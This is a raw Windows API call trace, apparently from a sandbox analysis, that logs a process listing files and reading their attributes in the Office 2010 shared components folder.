	[0050.448] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a148 | out: lpFileInformation=0x1278a148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80)) returned 1
	[0050.448] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a198 | out: lpFileInformation=0x1278a198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388)) returned 1
	[0050.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a1e8 | out: lpFileInformation=0x1278a1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88)) returned 1
	[0050.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), fInfoLevelId=0x0, lpFileInformation=0x1278a238 | out: lpFileInformation=0x1278a238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795)) returned 1
	[0050.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a288 | out: lpFileInformation=0x1278a288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80)) returned 1
	[0050.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a2d8 | out: lpFileInformation=0x1278a2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788)) returned 1
	[0050.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a328 | out: lpFileInformation=0x1278a328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8)) returned 1
	[0050.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a378 | out: lpFileInformation=0x1278a378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990)) returned 1
	[0050.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a3c8 | out: lpFileInformation=0x1278a3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8)) returned 1
	[0050.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a418 | out: lpFileInformation=0x1278a418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0)) returned 1
	[0050.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a468 | out: lpFileInformation=0x1278a468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98)) returned 1
	[0050.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a4b8 | out: lpFileInformation=0x1278a4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0)) returned 1
	[0050.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a508 | out: lpFileInformation=0x1278a508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8)) returned 1
	[0050.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a558 | out: lpFileInformation=0x1278a558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8)) returned 1
	[0050.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a5a8 | out: lpFileInformation=0x1278a5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8)) returned 1
	[0050.458] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a5f8 | out: lpFileInformation=0x1278a5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0)) returned 1
	[0050.458] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a648 | out: lpFileInformation=0x1278a648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398)) returned 1
	[0050.459] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a698 | out: lpFileInformation=0x1278a698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0)) returned 1
	[0050.459] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a6e8 | out: lpFileInformation=0x1278a6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0)) returned 1
	[0050.460] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a738 | out: lpFileInformation=0x1278a738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990)) returned 1
	[0050.460] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a788 | out: lpFileInformation=0x1278a788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0)) returned 1
	[0050.460] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a7d8 | out: lpFileInformation=0x1278a7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0)) returned 1
	[0050.461] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a828 | out: lpFileInformation=0x1278a828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998)) returned 1
	[0050.462] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a878 | out: lpFileInformation=0x1278a878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158)) returned 1
	[0050.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a8c8 | out: lpFileInformation=0x1278a8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0)) returned 1
	[0050.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278a918 | out: lpFileInformation=0x1278a918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980)) returned 1
	[0050.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), fInfoLevelId=0x0, lpFileInformation=0x1278a968 | out: lpFileInformation=0x1278a968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.465] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.465] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1
	[0050.465] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.465] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), fInfoLevelId=0x0, lpFileInformation=0x1278aa08 | out: lpFileInformation=0x1278aa08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360)) returned 1
	[0050.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278aa58 | out: lpFileInformation=0x1278aa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48)) returned 1
	[0050.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278aaa8 | out: lpFileInformation=0x1278aaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78)) returned 1
	[0050.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278aaf8 | out: lpFileInformation=0x1278aaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578)) returned 1
	[0050.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), fInfoLevelId=0x0, lpFileInformation=0x1278ab48 | out: lpFileInformation=0x1278ab48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560)) returned 1
	[0050.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278ab98 | out: lpFileInformation=0x1278ab98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360)) returned 1
	[0050.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), fInfoLevelId=0x0, lpFileInformation=0x1278abe8 | out: lpFileInformation=0x1278abe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88)) returned 1
	[0050.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278ac38 | out: lpFileInformation=0x1278ac38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780)) returned 1
	[0050.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), fInfoLevelId=0x0, lpFileInformation=0x1278ac88 | out: lpFileInformation=0x1278ac88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60)) returned 1
